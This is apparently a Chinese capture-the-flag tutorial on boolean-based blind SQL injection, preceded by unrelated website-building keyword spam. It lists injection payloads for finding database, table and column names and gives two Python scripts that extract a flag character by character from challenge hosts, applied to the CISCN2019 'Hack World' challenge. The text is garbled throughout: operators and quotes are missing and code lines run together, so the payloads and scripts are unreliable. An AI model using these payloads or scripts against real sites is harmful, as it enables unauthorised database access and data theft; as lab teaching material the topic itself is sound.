丰都网站建设价格,做网站项目团队口号,阳泉住房和城乡建设部网站,常用的网页设计软件有知识点 原理#xff1a;通过发送不同的SQL查询来观察应用程序的响应#xff0c;进而判断查询的真假#xff0c;并逐步推断出有用的信息
适用情况#xff1a;一个界面存在注入#xff0c;但是没有显示位#xff0c;没有SQL语句执行错误信息#xff0c;通常用于在无法直接…知识点 原理通过发送不同的SQL查询来观察应用程序的响应进而判断查询的真假并逐步推断出有用的信息
适用情况一个界面存在注入但是没有显示位没有SQL语句执行错误信息通常用于在无法直接获得查询结果的情况下推断数据库信息比如像今天这题一样很多关键字都被禁用了
手动输入解题步骤
1.判断注入点及注入类型
若为整型注入
1 and 11 //正常回显
1 and 12 //无回显
若为字符型注入同时判断是单引号型注入还是双引号型
1’ and 11 # //正常回显
1 and 12 # //无回显
或
1 and 11 # //正常回显
1 and 12 # //无回显
也有一些题会把后面的#换成--两种构造方式都是为了避免原SQL语句后续部分对注入构造的干扰
#主要适用于MySQL数据库在其他数据库中使用可能会导致语法错误
--是标准SQL的单行注释符
e.g.
注入id1 and 1 1--和id1 and 1 2--回显正常排除数字型注入
注入id1 and 1 1--也正常但是当注入id1 and 1 2--时,回显如下说明是字符型注入单引号闭合 2.推测数据库信息
1推测数据库名长度
2得到数据库名
函数database()返回数据库名length()获取字符串长度 select length(database()); 当测试语句输入的过程中有不一样的就说明得到了正确的数据库名长度一般在输入到3或4就会得到数据库名长度了
爆长度
法一
1 and length(database()) 1 #
1 and length(database()) 2 #
1 and length(database()) 3 #
1 and length(database()) 4 #
…… 法二
length(str) //返回str字符串的长度。
1 and length(database())4 //判断数据库名字的长度是否为4
1 and length(database())4 //判断数据库名字长度是否大于4
e.g.
判断得到数据库名的长度为4 爆库名
函数ascii()返回字符的ASCII码substr(str,start,length)返回字符串从str的start开始往后截取length长度的字符
1 and substring(database(),1,1)q //判断数据库第一个字母是否为q
1 and substring(database(),2,1)q //判断数据库名字第二个字母是否为q
mid(str,pos,len) //跟上面的用法一模一样截取字符串3.爆表
1表数量
1 and (select count(table_name) from information_schema.tables where table_schemadatabase())1
1 and (select count(table_name) from information_schema.tables where table_schemadatabase())2
1 and (select count(table_name) from information_schema.tables where table_schemadatabase())3
1 and (select count(table_name) from information_schema.tables where table_schemadatabase())4
……
2根据库名和表数量爆表名长度 limit i,1 i从0开始第i1张表 e.g.
第一张表表名长度
?id1 and length(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)1
……
?id1 and length(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)4
第二张
?id1 and length(select table_name from information_schema.tables where table_schemadatabase() limit 1,1)1
……
?id1 and length(select table_name from information_schema.tables where table_schemadatabase() limit 1,1)4
3根据表名长度爆表名 substr((select…limit i,1),j,1) i从0开始第i1张表j从1开始第j个字符 再大循环i次遍历所有表内嵌循环j次表名的所有字符i是表下标-1j是字符下标再内嵌循环k从a到z假设表名全是小写英文字符尝试获取每个表的表名
4.爆列
1爆列数量
和爆表数量一样
2根据表名和列数量爆列名长度
操作同对当前库爆表名长度的步骤i是列标-1 limit i,1 i从0开始第i1列 3爆列名
i是列标-1j是字符下标 substr((select…limit i,1),j,1)) i从0开始第i1列j从1开始第j个字符 5.爆数据
flag有固定的格式以右花括号结束假设flag有小写英文字母、下划线、花括号构成由于不知道flag长度要一个无限循环定义计数符j内嵌循环i遍历小写、下划线和花括号匹配到字符后j出循环的条件是当前i是右花括号即flag结束 substr((select…),j,1) j从1开始flag的第j个字符 脚本
手工布尔盲注通常比较麻烦也可以选择写个脚本来进行自动化突破
找了一个写得比较好的脚本
import requests as re# 设置需要sql注入的网站
url http://cbbacb03-13d3-4374-8fef-7da0e51dbbb1.node5.buuoj.cn:81/index.php# 提前做好接受flag的变量
flag # 循环函数
for i in range(1, 1000):print(f{i}:\n)# 这里设置最大值和最小值使用二分化的方法跑效率比一般的快超级多high 128low 30# 这里设置循环函数如果最大值小于最小值那么退出while low high:mid (low high)//2# 爆库名# sql1 f1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)){mid})^1# sql2 f1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)){mid})^1# sql3 f1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1)){mid})^1# 爆表名# sql1 f1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schemadatabase())),{i},1)){mid})^1# sql2 f1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schemadatabase())),{i},1)){mid})^1# sql3 f1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schemadatabase())),{i},1)){mid})^1# 爆字段名sql1 f1^(ascii(substr((select(flag)from(flag)),{i},1)){mid})^1sql2 f1^(ascii(substr((select(flag)from(flag)),{i},1)){mid})^1sql3 f1^(ascii(substr((select(flag)from(flag)),{i},1)){mid})^1# 设置id值data1 {id: sql1}data2 {id: sql2}data3 {id: sql3}# 通过post传入参数然后给r1 r2 r3r1 re.post(urlurl, datadata1)r2 re.post(urlurl, datadata2)r3 re.post(urlurl, datadata3)# Hello出现在页面时说明是对的输出flagif Hello in r1.text:flag chr(mid)print(flag)break# Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值所以缩小范围到中间值到最大值一步一步缩小找到flagif Hello in r2.text:low mid 1# Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值所以缩小范围到中间值到最大值一步一步缩小找到flagif Hello in r3.text:high mid - 1continueprint(flag) 例题
[CISCN2019 华北赛区 Day2 Web1]Hack World
打开界面提醒flag值在flag表的flag列中
输入数字1,2时回显不同 ,直到输入3,后面的都一样 随便输入一个字母回显都一样提示类型错误猜测为数字型注入 输入1试试 尝试注入并查询 1 union select flag from flag 回显SQL注入检测说明有东西被过滤了 看一下源代码,没有什么收获 用bp抓包再用fuzz字典爆破一下试试 从回显来看length535的字符全部被过滤了包括union、select、extracvalue、updatexml、sleep等常见注入关键字所以只能选择布尔盲注了 测试一下
1^1^1 1^0^1 这里用到的一个脚本参考了其他大佬的wp但是因为运行的时候连接超时所以做了适当延时
大致思路(ascii(substr((select(flag)from(flag)),1,1))32) 若成立则会返回1id1时会回显出一段字符根据是否回显我们可以一个一个地将flag中的字符拆解出来
脚本
import time
import requests
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry# 配置重试机制
retry_strategy Retry(total3, # 最大重试次数backoff_factor1, # 重试间隔时间的增长因子status_forcelist[429, 500, 502, 503, 504], # 需要重试的 HTTP 状态码allowed_methods[POST] # 允许重试的 HTTP 方法
)
adapter HTTPAdapter(max_retriesretry_strategy)
http requests.Session()
http.mount(https://, adapter)
http.mount(http://, adapter)url http://f7cf7bbe-3b9b-4d11-ae04-7dd65d2fc943.node5.buuoj.cn:81/index.php
result
for i in range(1, 50):for j in range(32, 128):try:time.sleep(0.1) # 适当延时避免给目标服务器造成过大压力payload (ascii(substr((select(flag)from(flag)),{m},1)){n})# 设置超时时间为 10 秒response http.post(urlurl, data{id: payload.format(mi, nj)}, timeout10)if response.text.find(girl) -1:result chr(j)print(j)breakexcept requests.exceptions.ConnectTimeout:print(f请求超时当前位置: {i}, 当前字符码: {j})except requests.exceptions.RequestException as e:print(f请求发生错误: {e})print(正在注出flag:, result)
print(flag的值为:, result)